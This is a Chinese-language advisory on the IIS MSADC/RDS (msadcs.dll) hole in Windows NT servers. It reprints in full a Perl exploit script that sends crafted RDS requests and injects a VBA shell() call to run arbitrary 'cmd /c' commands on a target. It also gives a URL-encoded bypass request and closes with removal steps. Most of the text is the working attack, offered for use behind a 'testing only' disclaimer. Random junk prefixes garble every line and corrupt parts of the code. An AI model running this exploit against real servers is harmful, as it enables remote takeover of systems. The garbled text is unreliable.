IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
KMV=%o S _T1y 涉及程序：
]a! x Ug!S Microsoft NT server
1|?05< 8 %uoQ9lD' 描述：
X5khCL Hi 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}#qGqY*@LK V %_4% 详细：
m1IKVa7-\} 如果你没有时间读详细内容的话，就删除:
6sE{{,OGB c:\Program Files\Common Files\System\Msadc\msadcs.dll
!p[9{U->o; 有关的安全问题就没有了。
g(Io /hyj #! $GH_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
=Me5ft w sj8~?O 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ht-t1q 关于利用ODBC远程漏洞的描述，请参看:
w~ ;I7: eh ,~F http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H> '>3]G Hzhceeh_ + 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
e+]6O V&+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp m "M("% n cX/L[L 这里不再论述。
<d<mvXbw_@ 3VUWX5K? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^47PLLRP u- o--q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
RC^9HuR& 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
5|I [>Su q\q=PB6r ErT{(t7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
7-~Q5Kr. .iQT5c #!perl
-\y-qHgb/ #
'Vr$MaO # MSADC/RDS 'usage' (aka exploit) script
o d7]tOK9 #
e.*%K!( # by rain.forest.puppy
cDoo* #
$%%os6y2v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+e-,ST&w( # beta test and find errors!
e|rg;`AW WH$e2[+Y use Socket; use Getopt::Std;
F*Z=<]< + getopts("e:vd:h:XR", \%args);
w]_zp?\^
} K 9kUS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
( Si=m;g p:OPw D+ if (!defined $args{h} && !defined $args{R}) {
*1'`"D~ print qq~
jV/CQM5a+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
ooj~ &fu -h <host> = host you want to scan (ip or domain)
?+t1M E| -d <seconds> = delay between calls, default 1 second
k78Vh$AA6% -X = dump Index Server path table, if available
_oB_YL;,* -v = verbose
JI/_ce -e = external dictionary file for step 5
X >I)~z}9# a|Bcn YN Or a -R will resume a command session
$x#FgD(iI D&ve15wL ~; exit;}
/oL; YIoQX x-'~Bu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
NJ MJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X]y )ZF26 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Dl&GJ`&:p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<X_!x_x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;+I/ I9~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<N(oDa U axk"^ gps if (!defined $args{R}){ $ret = &has_msadc;
s 1ge0~p3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
a P&D9%5 }6-ZE9H-v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ow/57P . "cmd /c ";
XYH|;P6K $in=<STDIN>; chomp $in;
hAqg Iu* $command="cmd /c " . $in ;
>|o_wO phYDs9-K if (defined $args{R}) {&load; exit;}
/U$8TT8+ - 45@]:2j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5y}
v{Ijt &try_btcustmr;
!$g+F(:(c 0fs$#j print "\nStep 2: Trying to make our own DSN...";
>qo~d? + &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7 yt=]1 hKlZi!4J print "\nStep 3: Trying known DSNs...";
` r ']^
, &known_dsn;
Ao7 `G': aVe/
gE print "\nStep 4: Trying known .mdbs...";
GOSI3RRn &known_mdb;
_0pO8o-x q+a.G2S if (defined $args{e}){
Qpt&3_ print "\nStep 5: Trying dictionary of DSN names...";
zTD@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<8 #ObdY! r,N[ )@ print "Sorry Charley...maybe next time?\n";
nW+YOX|+ exit;
a45 ss7 ^# A.@ ##############################################################################
}E}8_ 8T6 Y& ] 8 { sub sendraw { # ripped and modded from whisker
?G08[aNR sleep($delay); # it's a DoS on the server! At least on mine...
{^Pq\h; my ($pstr)=@_;
x3e]d$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
= /+#PVO die("Socket problems\n");
X[ '2b78k if(connect(S,pack "SnA4x8",2,80,$target)){
nN3$\gHp8i select(S); $|=1;
[ut#:1h^ print $pstr; my @in=<S>;
Ra3ukYG[ select(STDOUT); close(S);
~ ~8rI[/ return @in;
,}C8;/V } else { die("Can't connect...\n"); }}
}4nT.!5
C2<CWPn< ##############################################################################
ee Up 1g }wSy sub make_header { # make the HTTP request
fj 4^VXD my $msadc=<<EOT
hxC!+ArVe POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
y1BgK>R User-Agent: ACTIVEDATA
2 [!Mx&^ Host: $ip
=!ac7i\F Content-Length: $clen
sg'NBAo" Connection: Keep-Alive
)9 P&= s6=YV0w( ADCClientVersion:01.06
e wB!IJxh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
IbWPlbH ?z"KnR+?Q --!ADM!ROX!YOUR!WORLD!
5@XV6 Content-Type: application/x-varg
sIm#_+Y Content-Length: $reqlen
|,}E0G. (G4'( 6 EOT
Zj-BuE&@f ; $msadc=~s/\n/\r\n/g;
=J@`0 H" return $msadc;}
el' j&I 5a(<%Q
<" ##############################################################################
'1]7zWbW 67J*&5? | sub make_req { # make the RDS request
64D%_8#m my ($switch, $p1, $p2)=@_;
" OGdE_E my $req=""; my $t1, $t2, $query, $dsn;
B4O6> ' e`sw*m5 if ($switch==1){ # this is the btcustmr.mdb query
3$"/>g/ $query="Select * from Customers where City=" . make_shell();
y3yvZD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)&.!3y 660 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
' 8r8%XI u3Do~RyL[ elsif ($switch==2){ # this is general make table query
<lOaor
c $query="create table AZZ (B int, C varchar(10))";
+8UdvMN $dsn="$p1";}
a{_ KSg b|Z LX: elsif ($switch==3){ # this is general exploit table query
+{6`F1MO $query="select * from AZZ where C=" . make_shell();
[A_r1g&_ $dsn="$p1";}
b%nkIP A (/fT]6( elsif ($switch==4){ # attempt to hork file info from index server
,U%=rfB~ $query="select path from scope()";
0 [i+ $dsn="Provider=MSIDXS;";}
'\L0xw4 hNO )~ rt elsif ($switch==5){ # bad query
l7Lj[d<n $query="select";
_ >v0R' $dsn="$p1";}
_j 5N=I{U %FlA ":W $t1= make_unicode($query);
S ' ?fJ. $t2= make_unicode($dsn);
!~d'{ sy6 $req = "\x02\x00\x03\x00";
vfXJYw+6_ $req.= "\x08\x00" . pack ("S1", length($t1));
6To:T[ z# $req.= "\x00\x00" . $t1 ;
]-KV0H $req.= "\x08\x00" . pack ("S1", length($t2));
.Qfnd# $req.= "\x00\x00" . $t2 ;
\ 522,n` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
O3+)qb!X return $req;}
4OEKx|:5n eKJ:?Lxv; ##############################################################################
&9@gm --b: leIy|K>\m sub make_shell { # this makes the shell() statement
&>V/X{>$`K return "'|shell(\"$command\")|'";}
<Cr8V'c K>LpN')d ##############################################################################
aG
Ef#A g 9|qbKQ:[ sub make_unicode { # quick little function to convert to unicode
4$F:NW,v:) my ($in)=@_; my $out;
)"F5lOA6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
u x# . :C| return $out;}
p EkOSG E+I m~=m$ ##############################################################################
_lNC<7+#h +.wT
9kFcc sub rdo_success { # checks for RDO return success (this is kludge)
)+*{Y$/U my (@in) = @_; my $base=content_start(@in);
}z?xGW/k if($in[$base]=~/multipart\/mixed/){
8Y xhd
. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&!6DC 5 return 0;}
T|!D>l' Y!;gQeC ##############################################################################
4XD)E& .`mtA`N sub make_dsn { # this makes a DSN for us
LjC6?a_?l my @drives=("c","d","e","f");
n3*UgNg%fK print "\nMaking DSN: ";
;n`
$+g:> foreach $drive (@drives) {
pY, O_
t$ print "$drive: ";
-$OD }5ku# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6QW<RXom "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Yg$@ Wb6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'1]+8E
`Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bSY;[{ Kl return 0 if $2 eq "404"; # not found/doesn't exist
[ h^f% if($2 eq "200") {
]u;GNz}? foreach $line (@results) {
4uX,uEa return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rv`2*B } return 0;}
8i[".9}G\ yV8- ##############################################################################
Q5hb0O%a jzM hJ sub verify_exists {
G&.d)NfE my ($page)=@_;
sE- x" c my @results=sendraw("GET $page HTTP/1.0\n\n");
jk
K#e$ 7 return $results[0];}
#>@<n3rq bd} r#^'K ##############################################################################
{3.*7gnY\L Sy4
mZ}: sub try_btcustmr {
dFx2>6AZt my @drives=("c","d","e","f");
1 pa*T! my @dirs=("winnt","winnt35","winnt351","win","windows");
N&?T0Ge; 7[4_+Q:} foreach $dir (@dirs) {
)\0Ug7]? print "$dir -> "; # fun status so you can see progress
]b s+: foreach $drive (@drives) {
C:rRK* print "$drive: "; # ditto
s Ke, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\C!%IR $reqlenlen=length( "$reqlen" );
aB=vu=hF $clen= 206 + $reqlenlen + $reqlen;
&t~zD4u B +ylxez c my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J 5Wz 4`' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
mYiSR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AGl|>f) v&p,Clt-2 ##############################################################################
}A^ 1q5 j|&{e91,? sub odbc_error {
o G (0 i my (@in)=@_; my $base;
{9h`$e= my $base = content_start(@in);
I/^q+l.=`{ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
dNOX&$/= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p.@0=) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uo]Hi^r.l $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S9 $o return $in[$base+4].$in[$base+5].$in[$base+6];}
jN 31\)/i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=''mpIg( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
nu#aa#ex> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<P+G7!KZ& 0\? _ lT2 ##############################################################################
Aqa6R+c ` %FIgE^ sub verbose {
}V\P,ck my ($in)=@_;
di8W2cwz return if !$verbose;
]# Y| print STDOUT "\n$in\n";}
0 $n8b/%. QN)/,=# ##############################################################################
8W19#?7>B T [i7C3QS sub save {
M, .b`1-w my ($p1, $p2, $p3, $p4)=@_;
j z|Wj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ybD{4&ZE print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
l4 iuu close OUT;}
W2}%zux 08zi/g2
3 ##############################################################################
4q\.I +r^ :N^@a- sub load {
OSSd;ueur$ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8C*6Fjb# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.\z| Fr @p=<IN>; close(IN);
uznoyj6g $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J{nyo1A $target= inet_aton($ip) || die("inet_aton problems");
#JJp:S~` print "Resuming to $ip ...";
@Pb 1QLiz $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"PX3%II if($p[1]==1) {
XM@- Y&c$A $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l>5]Wd{/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
h-_0 A] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[q >i if (rdo_success(@results)){print "Success!\n";}
2$i 0yPv else { print "failed\n"; verbose(odbc_error(@results));}}
l LD)i J1 elsif ($p[1]==3){
,Y\4xg*` if(run_query("$p[3]")){
Zs$RKJ7 print "Success!\n";} else { print "failed\n"; }}
^$Eiz. elsif ($p[1]==4){
=iK6/ y` if(run_query($drvst . "$p[3]")){
GaK _9Eg-2 print "Success!\n"; } else { print "failed\n"; }}
E]eqvT NH exit;}
%*Z2Gef?H }PIGj} F/ ##############################################################################
9}qf dbI c7nk~K[6 sub create_table {
+} ! F(c my ($in)=@_;
}rMpp[ $reqlen=length( make_req(2,$in,"") ) - 28;
G4exk5 $reqlenlen=length( "$reqlen" );
Znl>*e/| $clen= 206 + $reqlenlen + $reqlen;
q=0{E0@9({ my @results=sendraw(make_header() . make_req(2,$in,""));
#L4Kwy return 1 if rdo_success(@results);
SiuO99'nV my $temp= odbc_error(@results); verbose($temp);
norc!?L return 1 if $temp=~/Table 'AZZ' already exists/;
-Ib+ /' return 0;}
+SA<0l C"` 'Re5) ##############################################################################
NK#"qK""k K<7T}XzU$ sub known_dsn {
8.Own=G? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
hPXVPLm7I my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a9EI7pnq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*~<]|H 5~ "banner", "banners", "ads", "ADCDemo", "ADCTest");
7@y!R
FiU;>t<) foreach $dSn (@dsns) {
wyzBkRg. print ".";
iJKm27 "> next if (!is_access("DSN=$dSn"));
io? {ew if(create_table("DSN=$dSn")){
s8_NN print "$dSn successful\n";
gl7vM if(run_query("DSN=$dSn")){
"1`i]Y\' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%:;[M|. print "Something's borked. Use verbose next time\n";}}} print "\n";}
PN^1 eGypXf% ##############################################################################
>RqT7n 8h y:[VRLo sub is_access {
I ^\ bS my ($in)=@_;
bb :|1D $reqlen=length( make_req(5,$in,"") ) - 28;
`J ,~hK $reqlenlen=length( "$reqlen" );
ttq< )4 $clen= 206 + $reqlenlen + $reqlen;
-^xKG'uth my @results=sendraw(make_header() . make_req(5,$in,""));
J!fc)h my $temp= odbc_error(@results);
=#")G1A verbose($temp); return 1 if ($temp=~/Microsoft Access/);
19-yM`O return 0;}
&Cpxo9- Q.E^9giC ##############################################################################
tG ^ ?fc sd@gEp)L sub run_query {
FQ~ead36C my ($in)=@_;
iN/!k.ybW} $reqlen=length( make_req(3,$in,"") ) - 28;
[BR}4(7 $reqlenlen=length( "$reqlen" );
RJs G ]` $clen= 206 + $reqlenlen + $reqlen;
`"=L my @results=sendraw(make_header() . make_req(3,$in,""));
u-M$45vct return 1 if rdo_success(@results);
)E~\H+FP6 my $temp= odbc_error(@results); verbose($temp);
: )"jh` return 0;}
f`]E]5? mhkAI@)> ##############################################################################
dVtLYx qjEWk ." sub known_mdb {
k+GK1Yl my @drives=("c","d","e","f","g");
2#A9D.- h my @dirs=("winnt","winnt35","winnt351","win","windows");
,lS-;. my $dir, $drive, $mdb;
[W\atmd" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(Rg!km%2T [m a#8p ) # this is sparse, because I don't know of many
,<j5i? my @sysmdbs=( "\\catroot\\icatalog.mdb",
I ;.E}k "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)qP{X,Uf "\\system32\\certmdb.mdb",
B';> Hk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i K:qP rk- x7kg_`\U my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#~-&&S4a.J "\\cfusion\\cfapps\\forums\\forums_.mdb",
CJ tjn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
'CAukk| "\\cfusion\\cfapps\\security\\realm_.mdb",
}%d-U;Tt2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
tBI+uu aa2 "\\cfusion\\database\\cfexamples.mdb",
s=Q*| "\\cfusion\\database\\cfsnippets.mdb",
'\E{ qlI "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
B|$13dHfa "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
aKzD63 "\\cfusion\\brighttiger\\database\\cleam.mdb",
~Q 9)Q "\\cfusion\\database\\smpolicy.mdb",
A*U'SCg(G "\\cfusion\\database\cypress.mdb",
B5r_+?=2e "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
k:@L s "\\website\\cgi-win\\dbsample.mdb",
m+^;\DFJ, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3[i !2iL. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
A;`U{7IST ); #these are just
?BvI /H5d foreach $drive (@drives) {
j!o3g;j foreach $dir (@dirs){
"LIii1]k foreach $mdb (@sysmdbs) {
0 THAI print ".";
~#km0<r? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
$ $ f$$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(U(x[Df) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
r<"/P`r print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l@J|p # 0q } else { print "Something's borked. Use verbose next time\n"; }}}}}
RGuHXf j 3-6WUO foreach $drive (@drives) {
>^GCSPe foreach $mdb (@mdbs) {
)j|y.[ print ".";
J9c3d~YW if(create_table($drv . $drive . $dir . $mdb)){
LtWU"42 print "\n" . $drive . $dir . $mdb . " successful\n";
< $2zr4 if(run_query($drv . $drive . $dir . $mdb)){
|ylTy B print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
B(Q.a&w45t } else { print "Something's borked. Use verbose next time\n"; }}}}
{u6fa>R&$ }
6 |qvo+% Y4!q 1]TGX ##############################################################################
'nt,+`.y6 |(v=1 #i sub hork_idx {
v4~Xv5|w^F print "\nAttempting to dump Index Server tables...\n";
_W@Fk)E6N print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
= / !S $reqlen=length( make_req(4,"","") ) - 28;
d;:&3r|X $reqlenlen=length( "$reqlen" );
^J~4~! $clen= 206 + $reqlenlen + $reqlen;
m$qC
8z] my @results=sendraw2(make_header() . make_req(4,"",""));
?JTyNg4< if (rdo_success(@results)){
>d
V@9 my $max=@results; my $c; my %d;
Vzm+Ew
_ for($c=19; $c<$max; $c++){
h`rjD d $results[$c]=~s/\x00//g;
8"UG&wLT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
IX?%H!i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<+,0 G` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
o (NyOC $d{"$1$2"}="";}
"Am0.c/ foreach $c (keys %d){ print "$c\n"; }
+p6\R;_E } else {print "Index server doesn't seem to be installed.\n"; }}
hdql s0 r wO)KQ~ yX ##############################################################################
8'Bl=C|0X oySM?ZE sub dsn_dict {
;rAW3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Xb]?/7
X while(<IN>){
{ (,vm}iFL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
dk`!UtNNRa next if (!is_access("DSN=$dSn"));
j|dzd<kE6 if(create_table("DSN=$dSn")){
IqKXFORiNI print "$dSn successful\n";
pv SFp-:_ if(run_query("DSN=$dSn")){
!Y(qpC:$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;]x5;b9` print "Something's borked. Use verbose next time\n";}}}
6YGr"Kj & print "\n"; close(IN);}
gF5EtdN?| qk1D# 1vl ##############################################################################
6mpUk.M" $%8n,FJ[ sub sendraw2 { # ripped and modded from whisker
yOz Kux8kB sleep($delay); # it's a DoS on the server! At least on mine...
Ao0PFY my ($pstr)=@_;
E9-'!I ! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+%9Y7qol die("Socket problems\n");
J c^ozw if(connect(S,pack "SnA4x8",2,80,$target)){
f_XCO=8'v print "Connected. Getting data";
:"IH *7xp open(OUT,">raw.out"); my @in;
<y O9j select(S); $|=1; print $pstr;
]3jH^7[? while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
TFPq( i close(OUT); select(STDOUT); close(S); return @in;
FY*0gp } else { die("Can't connect...\n"); }}
bl-s0Ax- j k}PucV ##############################################################################
'p]qN;`'O$ 0\*<k`dY sub content_start { # this will take in the server headers
%$ ?Q% my (@in)=@_; my $c;
d's`~HOU2 for ($c=1;$c<500;$c++) {
*3Z#r if($in[$c] =~/^\x0d\x0a/){
tTp`e0L*m if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
X hV"<&v else { return $c+1; }}}
--)[>6)I return -1;} # it should never get here actually
8}T3Fig,q bkI A:2HX ##############################################################################
/2cOZ1G; ) <~7<.0 sub funky {
W78-'c my (@in)=@_; my $error=odbc_error(@in);
!Sh5o'D28 if($error=~/ADO could not find the specified provider/){
YU(x!<Z print "\nServer returned an ADO miscofiguration message\nAborting.\n";
qrYeh`Mv exit;}
`2 if($error=~/A Handler is required/){
> [=`{B print "\nServer has custom handler filters (they most likely are patched)\n";
*.l=> #qF exit;}
%&(\dt&R1h if($error=~/specified Handler has denied Access/){
'#6DI"vJ
print "\nServer has custom handler filters (they most likely are patched)\n";
z#
B) b 5 exit;}}
1bs95Fh9Q iO`f{?b ##############################################################################
bYH_U4b -v@^6bQVp sub has_msadc {
q)zvePO# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%*=FLtBjo my $base=content_start(@results);
,DLNI0u V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
')RK(I return 0;}
8;3FTF ^o:5B%}#[ ########################
>UH=]$ 0N 1sA-BQL bNgcZ
V. 解决方案：
9z}kkYk 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ond/e&1 2、移除web 目录: /msadc
